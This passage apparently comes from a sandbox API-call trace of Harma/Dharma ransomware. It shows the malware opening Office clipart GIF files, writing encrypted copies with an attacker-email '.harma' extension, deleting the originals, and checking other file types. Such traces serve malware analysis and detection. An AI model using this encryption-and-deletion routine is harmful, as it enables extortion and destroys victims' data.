lpString2=".harma") returned -1 [0068.150] lstrlenW (lpString="AG00171_.GIF") returned 12 [0068.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0068.150] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=5016) returned 1 [0068.150] CloseHandle (hObject=0x1a0) returned 1 [0068.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 0x20 [0068.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0068.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0068.151] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.151] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0068.151] GetLastError () returned 0x0 [0068.151] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x1398, lpOverlapped=0x0) returned 1 [0068.153] WriteFile (in: hFile=0x21c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x13a0, lpOverlapped=0x0) returned 1 [0068.153] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0068.154] WriteFile (in: hFile=0x21c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0068.154] SetEndOfFile (hFile=0x21c) returned 1 [0068.154] CloseHandle (hObject=0x21c) returned 1 [0068.154] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.154] SetEndOfFile (hFile=0x1a0) returned 1 [0068.155] CloseHandle (hObject=0x1a0) returned 1 [0068.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0068.155] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 1 [0068.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0068.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0068.155] lstrlenW (lpString=".doc") returned 4 [0068.155] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0068.155] lstrlenW (lpString=".docx") returned 5 [0068.155] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0068.155] lstrlenW (lpString=".pdf") returned 4 [0068.156] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0068.156] lstrlenW (lpString=".xls") returned 4 [0068.156] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0068.156] lstrlenW (lpString=".xlsx") returned 5 [0068.156] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0068.156] lstrlenW (lpString=".ppt") returned 4 [0068.156] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0068.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0068.156] lstrlenW (lpString=".zip") returned 4 [0068.156] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0068.156] lstrlenW (lpString=".rar") returned 4 [0068.156] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0068.156] lstrlenW (lpString=".bz2") returned 4 [0068.156] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0068.156] lstrlenW (lpString=".7z") returned 3 [0068.156] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0068.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0068.156] lstrlenW (lpString=".dbf") returned 4 [0068.156] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0068.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0068.156] lstrlenW (lpString=".1cd") returned 4 [0068.156] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0068.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0068.156] lstrlenW (lpString=".jpg") returned 4 [0068.156] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0068.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0068.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0068.156] lstrlenW (lpString=".doc") returned 4 [0068.156] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0068.156] lstrlenW (lpString=".docx") returned 5 [0068.156] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0068.157] lstrlenW (lpString=".pdf") returned 4 [0068.157] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0068.157] lstrlenW (lpString=".xls") returned 4 [0068.157] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0068.157] lstrlenW (lpString=".xlsx") returned 5 [0068.157] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0068.157] lstrlenW (lpString=".ppt") returned 4 [0068.157] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0068.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0068.157] lstrlenW (lpString=".zip") returned 4 [0068.157] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0068.157] lstrlenW (lpString=".rar") returned 4 [0068.157] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0068.157] lstrlenW (lpString=".bz2") returned 4 [0068.157] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0068.157] lstrlenW (lpString=".7z") returned 3 [0068.157] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0068.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0068.157] lstrlenW (lpString=".dbf") returned 4 [0068.157] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0068.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0068.157] lstrlenW (lpString=".1cd") returned 4 [0068.158] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0068.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0068.158] lstrlenW (lpString=".jpg") returned 4 [0068.158] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0068.158] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0068.158] lstrlenW (lpString="AG00172_.GIF") returned 12 [0068.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0068.159] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=4390) returned 1 [0068.159] CloseHandle (hObject=0x1a0) returned 1 [0068.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 0x20 [0068.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0068.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0068.159] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.159] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0068.159] GetLastError () returned 0x0 [0068.159] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x1126, lpOverlapped=0x0) returned 1 [0068.161] WriteFile (in: hFile=0x21c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1130, lpOverlapped=0x0) returned 1 [0068.162] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0068.162] WriteFile (in: hFile=0x21c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0068.162] SetEndOfFile (hFile=0x21c) returned 1 [0068.162] CloseHandle (hObject=0x21c) returned 1 [0068.162] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.162] SetEndOfFile (hFile=0x1a0) returned 1 [0068.163] CloseHandle (hObject=0x1a0) returned 1 [0068.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0068.164] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 1 [0068.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0068.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0068.164] lstrlenW (lpString=".doc") returned 4 [0068.164] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0068.164] lstrlenW (lpString=".docx") returned 5 [0068.164] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0068.164] lstrlenW (lpString=".pdf") returned 4 [0068.164] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0068.164] lstrlenW (lpString=".xls") returned 4 [0068.164] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0068.164] lstrlenW (lpString=".xlsx") returned 5 [0068.164] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0068.164] lstrlenW (lpString=".ppt") returned 4 [0068.164] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0068.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0068.164] lstrlenW (lpString=".zip") returned 4 [0068.164] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0068.164] lstrlenW (lpString=".rar") returned 4 [0068.164] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0068.164] lstrlenW (lpString=".bz2") returned 4 [0068.164] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0068.164] lstrlenW (lpString=".7z") returned 3 [0068.164] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0068.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0068.164] lstrlenW (lpString=".dbf") returned 4 [0068.164] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0068.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0068.165] lstrlenW (lpString=".1cd") returned 4 [0068.165] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0068.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0068.165] lstrlenW (lpString=".jpg") returned 4 [0068.165] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0068.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0068.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0068.165] lstrlenW (lpString=".doc") returned 4 [0068.165] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0068.165] lstrlenW (lpString=".docx") returned 5 [0068.165] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0068.165] lstrlenW (lpString=".pdf") returned 4 [0068.165] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0068.165] lstrlenW (lpString=".xls") returned 4 [0068.165] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0068.165] lstrlenW (lpString=".xlsx") returned 5 [0068.165] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0068.165] lstrlenW (lpString=".ppt") returned 4 [0068.165] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0068.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0068.165] lstrlenW (lpString=".zip") returned 4 [0068.165] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0068.165] lstrlenW (lpString=".rar") returned 4 [0068.165] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0068.165] lstrlenW (lpString=".bz2") returned 4 [0068.165] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0068.165] lstrlenW (lpString=".7z") returned 3 [0068.165] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0068.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0068.165] lstrlenW (lpString=".dbf") returned 4 [0068.166] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0068.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0068.166] lstrlenW (lpString=".1cd") returned 4 [0068.166] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0068.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0068.166] lstrlenW (lpString=".jpg") returned 4 [0068.166] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0068.166] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0068.166] lstrlenW (lpString="AG00174_.GIF") returned 12 [0068.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0068.166] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=3966) returned 1 [0068.166] CloseHandle (hObject=0x1a0) returned 1 [0068.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 0x20 [0068.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0068.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0068.167] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.167] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0068.167] GetLastError () returned 0x0 [0068.167] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0xf7e, lpOverlapped=0x0) returned 1 [0068.169] WriteFile (in: hFile=0x21c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xf80, lpOverlapped=0x0) returned 1 [0068.170] ReadFile (in: hFile=0x1a0, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0068.170] WriteFile (in: hFile=0x21c, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0068.171] SetEndOfFile (hFile=0x21c) returned 1 [0068.171] CloseHandle (hObject=0x21c) returned 1 [0068.171] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0068.171] SetEndOfFile (hFile=0x1a0) returned 1 [0068.172] CloseHandle (hObject=0x1a0) returned 1 [0068.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0068.172] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 1 [0068.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0068.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0068.172] lstrlenW (lpString=".doc") returned 4 [0068.172] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0068.172] lstrlenW (lpString=".docx") returned 5 [0068.172] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0068.172] lstrlenW (lpString=".pdf") returned 4 [0068.172] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0068.172] lstrlenW (lpString=".xls") returned 4 [0068.172] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0068.172] lstrlenW (lpString=".xlsx") returned 5 [0068.173] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0068.173] lstrlenW (lpString=".ppt") returned 4 [0068.173] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0068.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0068.173] lstrlenW (lpString=".zip") returned 4 [0068.173] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0068.173] lstrlenW (lpString=".rar") returned 4 [0068.173] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0068.173] lstrlenW (lpString=".bz2") returned 4 [0068.173] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0068.173] lstrlenW (lpString=".7z") returned 3 [0068.173] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0068.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0068.173] lstrlenW (lpString=".dbf") returned 4 [0068.173] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0068.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0068.173] lstrlenW (lpString=".1cd") returned 4 [0068.173] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0068.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0068.173] lstrlenW (lpString=".jpg") returned 4 [0068.173] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0068.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0068.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0068.173] lstrlenW (lpString=".doc") returned 4 [0068.173] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0068.173] lstrlenW (lpString=".docx") returned 5 [0068.173] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0068.173] lstrlenW (lpString=".pdf") returned 4 [0068.173] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0068.173] lstrlenW (lpString=".xls") returned 4 [0068.173] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0068.174] lstrlenW (lpString=".xlsx") returned 5 [0068.174] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0068.174] lstrlenW (lpString=".ppt") returned 4 [0068.174] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0068.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0068.174] lstrlenW (lpString=".zip") returned 4 [0068.174] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0068.174] lstrlenW (lpString=".rar") returned 4 [0068.174] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0068.174] lstrlenW (lpString=".bz2") returned 4 [0068.174] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0068.174] lstrlenW (lpString=".7z") returned 3 [0068.174] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0068.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0068.174] lstrlenW (lpString=".dbf") returned 4 [0068.174] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0068.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0068.174] lstrlenW (lpString=".1cd") returned 4 [0068.174] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0068.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0068.174] lstrlenW (lpString=".jpg") returned 4 [0068.174] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0068.174] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0068.174] lstrlenW (lpString="AG00175_.GIF") returned 12 [0068.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0068.175] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=3378) returned 1 [0068.175] CloseHandle (hObject=0x1a0) returned 1 [0068.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 